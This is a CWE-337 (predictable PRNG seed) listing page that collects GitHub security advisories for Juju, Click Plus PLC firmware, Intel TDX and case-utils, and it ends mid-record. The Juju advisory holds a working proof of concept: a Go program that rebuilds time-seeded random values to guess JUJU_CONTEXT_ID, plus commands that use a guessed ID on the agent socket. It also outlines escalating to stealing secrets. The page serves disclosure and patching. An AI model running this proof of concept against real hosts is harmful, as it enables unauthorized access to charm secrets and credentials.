CWE-337
AllowedPredictable Seed in Pseudo-Random Number Generator (PRNG)
Abstraction: Variant · Status: Draft
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
25 vulnerabilities reference this CWE, most recent first.
GHSA-MH98-763H-M9V4
Vulnerability from github – Published: 2024-10-03 16:49 – Updated: 2024-10-09 22:48JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.
This value looks fairly unpredictable, but due to the random source used, it is highly predictable.
JUJU_CONTEXT_ID has the following components:
- the application name
- the unit number
- the hook being currently run
- a uint63 decimal number
On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.
There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).
Impact
On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.
Patches
Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51
Workarounds
No workaround. Upgrade will be required.
References
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164
PoC
With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.
.
|-- hooks
| `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
- name: ubuntu
channel: 22.04/stable
architectures:
- amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1
With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.
With access to the log file we can very quickly get the start time of the unit:
ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started
If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:
nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
File: unit-sleepy-0.log
Size: 1403 Blocks: 8 IO Block: 4096 regular file
Device: 10302h/66306d Inode: 25967076 Links: 1
Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
Birth: 2024-08-06 05:10:06.965129276 +0000
We can then pass that into this program:
package main
import (
"flag"
"fmt"
"math/rand"
"time"
)
func main() {
var unitName string
var unitStartLogTime string
var currentHook string
flag.StringVar(&unitName, "u", "sleepy/0", "")
flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
flag.StringVar(¤tHook, "h", "install", "the current hook that is running right now")
flag.Parse()
t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
if err != nil {
panic(err)
}
sources := []rand.Source{
rand.NewSource(t.Unix()),
rand.NewSource(t.Unix() - 1),
rand.NewSource(t.Unix() - 2),
}
for i := 0; i < 10; i++ {
for _, source := range sources {
fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
}
}
}
This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.
$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930
Unfortunately, this worked too well.
nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True
With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826044107-ecd7e2d0e986"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7558"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-337",
"CWE-340"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-03T16:49:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n| `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n - name: ubuntu\n channel: 22.04/stable\n architectures:\n - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n File: unit-sleepy-0.log\n Size: 1403 \tBlocks: 8 IO Block: 4096 regular file\nDevice: 10302h/66306d\tInode: 25967076 Links: 1\nAccess: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
"id": "GHSA-mh98-763h-m9v4",
"modified": "2024-10-09T22:48:18Z",
"published": "2024-10-03T16:49:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
},
{
"type": "PACKAGE",
"url": "https://github.com/juju/juju"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3173"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}
GHSA-MQMM-6427-XMX3
Vulnerability from github – Published: 2025-09-24 00:30 – Updated: 2025-09-24 00:30A predictable seed in pseudo-random number generator vulnerability has been discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software implements a predictable seed for its pseudo-random number generator, which compromises the security of the generated private keys.
{
"affected": [],
"aliases": [
"CVE-2025-55069"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-23T23:15:30Z",
"severity": "HIGH"
},
"details": "A predictable seed in pseudo-random number generator vulnerability has been discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software implements a predictable seed for its pseudo-random number generator, which compromises the security of the generated private keys.",
"id": "GHSA-mqmm-6427-xmx3",
"modified": "2025-09-24T00:30:41Z",
"published": "2025-09-24T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55069"
},
{
"type": "WEB",
"url": "https://www.automationdirect.com/support/software-downloads"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-266-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PHH4-3HMM-24RX
Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2025-08-26 19:43Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.
Original Description
JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20241001032836-2af7bd8e310b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-330",
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-02T21:55:42Z",
"nvd_published_at": "2024-10-02T11:15:11Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mh98-763h-m9v4. This link is maintained to preserve external references.\n\n## Original Description\nJUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.",
"id": "GHSA-phh4-3hmm-24rx",
"modified": "2025-08-26T19:43:23Z",
"published": "2024-10-02T12:30:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7558"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Juju makes Use of Weak Credentials",
"withdrawn": "2024-10-02T21:55:42Z"
}
GHSA-Q472-FRV7-C8CQ
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Predictable Seed in Pseudo-Random Number Generator (PRNG) in the firmware for some Intel(R) TDX may allow an authenticated user to potentially enable information disclosure via local access.
{
"affected": [],
"aliases": [
"CVE-2025-20613"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:29Z",
"severity": "LOW"
},
"details": "Predictable Seed in Pseudo-Random Number Generator (PRNG) in the firmware for some Intel(R) TDX may allow an authenticated user to potentially enable information disclosure via local access.",
"id": "GHSA-q472-frv7-c8cq",
"modified": "2025-08-12T18:31:27Z",
"published": "2025-08-12T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20613"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01312.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RGRF-6MF5-M882
Vulnerability from github – Published: 2024-01-11 15:18 – Updated: 2024-09-13 17:39Impact
What kind of vulnerability is it? Who is impacted?
An information leakage vulnerability is present in cdo-local-uuid at version 0.4.0, and in case-utils in unpatched versions (matching the pattern 0.x.0) at and since 0.5.0, before 0.15.0.
The vulnerability stems from a Python function, cdo_local_uuid.local_uuid(), and its original implementation case_utils.local_uuid(). Henceforth, both will be called local_uuid().
local_uuid() generates UUIDv5s using a deterministic pseudorandom number stream. This was written to make graph application demonstrations generate consistent, version-controllable output with minimal noise caused by demonstration re-runs. Part of the information used to keep individual examples' generated output distinct from one another is seed information from the caller's environment, particularly the program's argument vector. The present working directory is also included as part of the seed information, but for reasons including maintaining user environment privacy, as well as keeping generated identifiers consistent regardless of where a source tree is housed on a user's file system, the present working directory is trimmed from the left to exclude path information outside of a supplied "Top" source directory. (In context of the Make scripting language, this "top" directory is typically in a variable called top_srcdir. In context of Git-based project management, this directory is expected to be the root directory of a freshly "Cloned" project, e.g., where .git is stored.)
Under certain conditions, a user's present working directory, as an absolute path, was incorporated into seed data for the local_uuid() deterministic pseudorandom number stream. This violates an expectation made in the documented purpose of the local_uuid() function, and leaks information about a calling user's environment.
The conditions are:
- Given a project with top source directory
top_srcdir, for instance/home/user1/Documents/Project1; - Given a Python script housed directly in
top_srcdir, for instance at${top_srcdir}/example.py, written to support the deterministic mode oflocal_uuid(); - Given a call to that Python script that follows the documentation for
local_uuid();
The absolute path for top_srcdir was then included in the seed information for the UUIDv5 stream, when what was intended was a relative path spelling. That is, instead of ./example.py being in the seed data, /home/user1/Documents/Project1/example.py was in the seed data.
This does not leak the present working directory directly. But, given other knowledge of how a program had been called to generate data using local_uuid() under these conditions, it becomes possible to determine that a chosen path can lead to a known UUIDv5 value. Note that it is not necessarily knowable that the chosen path is the only solution to a sequence reconstruction; but, the path can be confirmed to be a solution.
Patches
Has the problem been patched? What versions should users upgrade to?
The issue has been patched, in the cdo-local-uuid source repository and the case-utils source repository.
Users should upgrade to any of these versions minimally:
case-utils == 0.5.1case-utils == 0.6.1case-utils == 0.7.1case-utils == 0.8.1case-utils == 0.9.1case-utils == 0.10.1case-utils == 0.11.1case-utils == 0.12.1case-utils == 0.13.1case-utils == 0.14.1case-utils >= 0.15.0cdo-local-uuid == 0.5.0
All case-utils releases that contain the patch have the commit ea630cce66b26dae6d7fa7e02451d6e25456a5f2 in their Git history. Anyone interested in confirming the presence of this commit in a certain branch or tag can run the following test (written in Bash), substituting the desired branch name for the assigned value of my_git_ref_of_interest:
#!/bin/bash
# Present working directory ($PWD) should be in a clone of this repository:
# https://github.com/casework/CASE-Utilities-Python
my_git_ref_of_interest=main
test \
"xea630cce66b26dae6d7fa7e02451d6e25456a5f2" \
== \
"x$(git merge-base ea630cc ${my_git_ref_of_interest})"
echo $? # Should print '0'
Note that other releases have been posted atop some of those minimal versions recommended for upgrading, named, e.g., 0.5.1.post0. These releases were posted to update internal library version numbers, and otherwise contain no functional changes, in accordance with Python Packaging guidance:
- https://packaging.python.org/en/latest/specifications/version-specifiers/#post-release-separators
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If the script calling cdo_local_uuid.local_uuid() is moved out of the "Top" source directory, the issue is addressed.
References
Are there any links users can visit to find out more?
The issue is addressed in this Pull Request:
- https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3
Tests to reproduce the issue's conditions and confirm it has been addressed are in this Pull Requested:
- https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cdo-local-uuid"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.5.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.7.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.8.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.9.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.0"
},
{
"fixed": "0.10.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.10.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.0"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.11.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.0"
},
{
"fixed": "0.12.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.12.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "0.13.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.13.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "case-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0.14.0"
},
{
"fixed": "0.14.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.14.0"
]
}
],
"aliases": [
"CVE-2024-22194"
],
"database_specific": {
"cwe_ids": [
"CWE-215",
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-11T15:18:51Z",
"nvd_published_at": "2024-01-11T03:15:10Z",
"severity": "LOW"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAn information leakage vulnerability is present in [`cdo-local-uuid`](https://pypi.org/project/cdo-local-uuid/) at version `0.4.0`, and in [`case-utils`](https://pypi.org/project/case-utils/) in unpatched versions (matching the pattern `0.x.0`) at and since `0.5.0`, before `0.15.0`.\n\nThe vulnerability stems from a Python function, `cdo_local_uuid.local_uuid()`, and its original implementation `case_utils.local_uuid()`. Henceforth, both will be called `local_uuid()`.\n\n`local_uuid()` generates UUIDv5s using a deterministic pseudorandom number stream. This was written to make graph application demonstrations generate consistent, version-controllable output with minimal noise caused by demonstration re-runs. Part of the information used to keep individual examples\u0027 generated output distinct from one another is seed information from the caller\u0027s environment, particularly the program\u0027s argument vector. The present working directory is also included as part of the seed information, but for reasons including maintaining user environment privacy, as well as keeping generated identifiers consistent regardless of where a source tree is housed on a user\u0027s file system, the present working directory is trimmed from the left to exclude path information outside of a supplied \"Top\" source directory. (In context of the Make scripting language, this \"top\" directory is typically in a variable called `top_srcdir`. In context of Git-based project management, this directory is expected to be the root directory of a freshly \"Cloned\" project, e.g., where `.git` is stored.)\n\nUnder certain conditions, a user\u0027s present working directory, as an absolute path, was incorporated into seed data for the `local_uuid()` deterministic pseudorandom number stream. This violates an expectation made in the documented purpose of the `local_uuid()` function, and leaks information about a calling user\u0027s environment.\n\nThe conditions are:\n\n* Given a project with top source directory `top_srcdir`, for instance `/home/user1/Documents/Project1`;\n* Given a Python script housed directly in `top_srcdir`, for instance at `${top_srcdir}/example.py`, written to support the deterministic mode of `local_uuid()`;\n* Given a call to that Python script that follows the documentation for `local_uuid()`;\n\nThe absolute path for `top_srcdir` was then included in the seed information for the UUIDv5 stream, when what was intended was a relative path spelling. That is, instead of `./example.py` being in the seed data, `/home/user1/Documents/Project1/example.py` was in the seed data.\n\nThis does not leak the present working directory directly. But, given other knowledge of how a program had been called to generate data using `local_uuid()` under these conditions, it becomes possible to determine that a chosen path can lead to a known UUIDv5 value. Note that it is not necessarily knowable that the chosen path is the *only* solution to a sequence reconstruction; but, the path can be confirmed to be *a* solution.\n\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe issue has been patched, in the `cdo-local-uuid` source repository and the `case-utils` source repository.\n\nUsers should upgrade to any of these versions minimally:\n\n* `case-utils == 0.5.1`\n* `case-utils == 0.6.1`\n* `case-utils == 0.7.1`\n* `case-utils == 0.8.1`\n* `case-utils == 0.9.1`\n* `case-utils == 0.10.1`\n* `case-utils == 0.11.1`\n* `case-utils == 0.12.1`\n* `case-utils == 0.13.1`\n* `case-utils == 0.14.1`\n* `case-utils \u003e= 0.15.0`\n* `cdo-local-uuid == 0.5.0`\n\nAll `case-utils` releases that contain the patch have the commit `ea630cce66b26dae6d7fa7e02451d6e25456a5f2` in their Git history. Anyone interested in confirming the presence of this commit in a certain branch or tag can run the following test (written in Bash), substituting the desired branch name for the assigned value of `my_git_ref_of_interest`:\n\n```bash\n#!/bin/bash\n# Present working directory ($PWD) should be in a clone of this repository:\n# https://github.com/casework/CASE-Utilities-Python\nmy_git_ref_of_interest=main\ntest \\\n \"xea630cce66b26dae6d7fa7e02451d6e25456a5f2\" \\\n == \\\n \"x$(git merge-base ea630cc ${my_git_ref_of_interest})\"\necho $? # Should print \u00270\u0027\n```\n\nNote that other releases have been posted atop some of those minimal versions recommended for upgrading, named, e.g., `0.5.1.post0`. These releases were posted to update internal library version numbers, and otherwise contain no functional changes, in accordance with Python Packaging guidance:\n\n* https://packaging.python.org/en/latest/specifications/version-specifiers/#post-release-separators\n\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf the script calling `cdo_local_uuid.local_uuid()` is moved out of the \"Top\" source directory, the issue is addressed.\n\n\n### References\n_Are there any links users can visit to find out more?_\n\nThe issue is addressed in this Pull Request:\n\n* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3\n\nTests to reproduce the issue\u0027s conditions and confirm it has been addressed are in this Pull Requested:\n\n* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4\n\n\u003c!--\nCVSS3.1 vector determined by rubric diagrams at this page:\nhttps://www.first.org/cvss/v3.1/user-guide\n--\u003e",
"id": "GHSA-rgrf-6mf5-m882",
"modified": "2024-09-13T17:39:18Z",
"published": "2024-01-11T15:18:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/security/advisories/GHSA-rgrf-6mf5-m882"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22194"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3"
},
{
"type": "WEB",
"url": "https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/fdc32414eccfcbde6be0fd91b7f491cc0779b02d#diff-e60b9cb8fb480ed27283a030a0898be3475992d78228f4045b12ce5cbb2f0509"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/fca7388f09feccd3b9ea88e6df9c7a43a5349452"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/e4ffadc3d56fd303b8f465d727c4a58213d311a1"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/db428a0745dac4fdd888ced9c52f617695519f9d"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/939775f956796d0432ecabbf62782ed7ad1007b5"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/80551f49241c874c7c50e14abe05c5017630dad2"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/7e02d18383eabbeb9fb4ec97d81438c9980a4790"
},
{
"type": "WEB",
"url": "https://github.com/casework/CASE-Utilities-Python/commit/5acb929dfb599709d1c8c90d1824dd79e0fd9e10"
},
{
"type": "WEB",
